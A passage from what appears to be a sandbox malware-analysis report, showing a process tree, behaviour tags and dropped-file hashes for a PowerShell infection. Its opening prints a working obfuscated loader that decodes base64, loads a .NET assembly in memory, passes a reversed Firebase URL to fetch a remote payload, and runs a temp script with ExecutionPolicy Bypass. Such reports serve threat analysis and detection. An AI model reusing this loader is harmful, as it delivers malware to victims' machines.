-force ;$wTeJN = '$ryaeG = (Get-Content -Path ' + $eZVNx + ' -Encoding UTF8);' ;$wTeJN += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$wTeJN += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$wTeJN += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$wTeJN += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''df21889cfba9-497a-0874-632c-e0cd03fc=nekot&aidem=tla?txt.loguh/o/moc.topsppa.8e7e8-soiranollom/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'' , ''C:\Users\Admin\AppData\Local\Temp\87ec7ae8985a75396354ea6917cb53668ed0d416001bb77b559f6df5a6c7af94.js'' , ''D DDInstallUtil'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$wTeJN | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2608
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2592

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    2KB

    MD5

    6cf293cb4d80be23433eecf74ddb5503

    SHA1

    24fe4752df102c2ef492954d6b046cb5512ad408

    SHA256

    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

    SHA512

    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    88498548bb922360c73ffa4a1a75f642

    SHA1

    3e04e5abddd7823da8392ca8270b3921de5db150

    SHA256

    da003d0fe12a0db27c7d05d9516717e9da83c46569511729fbf94c422ef09d42

    SHA512

    a2ba6ea4c045afd31ed25cba050e9429db0a397fb478f26a690f48d159bdf498516b7067fb77059a38d7e68d28103bbe09368391d6a27bb5d7465197429e00f7

    Download Submit

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    948B

    MD5

    01d89dd05c27325bbfe34d7a2bc716ad

    SHA1

    fa0a5ce95e7e989da44face5a736172aba834ddc

    SHA256

    52bf1aacc2b2f03b2bbdca40b7eff5e041c8f2892575b3bf5cbaa000a02f71e9

    SHA512

    d7500eae5877d297fec543b607a1e6764ac07002178e92306de9b5a9cc76d9f42cdaa9a2b086ed1d3174c660afa120228affa80a4fb1ac4a430f7028449e0adb

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jvd4a4xk.nwo.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\dll02.txt
    Filesize

    2B

    MD5

    f3b25701fe362ec84616a93a45ce9998

    SHA1

    d62636d8caec13f04e28442a0a6fa1afeb024bbb

    SHA256

    b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

    SHA512

    98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

    Download Submit

  • C:\Users\Admin\AppData\Local\Temp\dll03.ps1
    Filesize

    1KB

    MD5

    315eac68246112babb666c550d00bc46

    SHA1

    f789e09291e0473a6fe0aa13becffe63db986522

    SHA256

    9934ac05b7e20940f48c346aeb41c8ffb11721a45fbf6ada70737d3cb340d6cb

    SHA512

    ec69e3647a09970bbe0b0b51c1f16af6105716b02df9f9534bb7191d3dcb1e96c8aa8d301ef68d587ca866b0c91f104b23ed4001c080c2300d644e4a3e63c2c3

    Download Submit

  • memory/3076-0-0x00007FFCA1613000-0x00007FFCA1615000-memory.dmp

    Filesize

    8KB

    Download

  • memory/3076-6-0x000002AA20B70000-0x000002AA20B92000-memory.dmp

    Filesize

    136KB

    Download

  • memory/3076-11-0x00007FFCA1610000-0x00007FFCA20D1000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3076-12-0x00007FFCA1610000-0x00007FFCA20D1000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3076-13-0x00007FFCA1610000-0x00007FFCA20D1000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3076-45-0x00007FFCA1610000-0x00007FFCA20D1000-memory.dmp

    Filesize

    10.8MB

    Download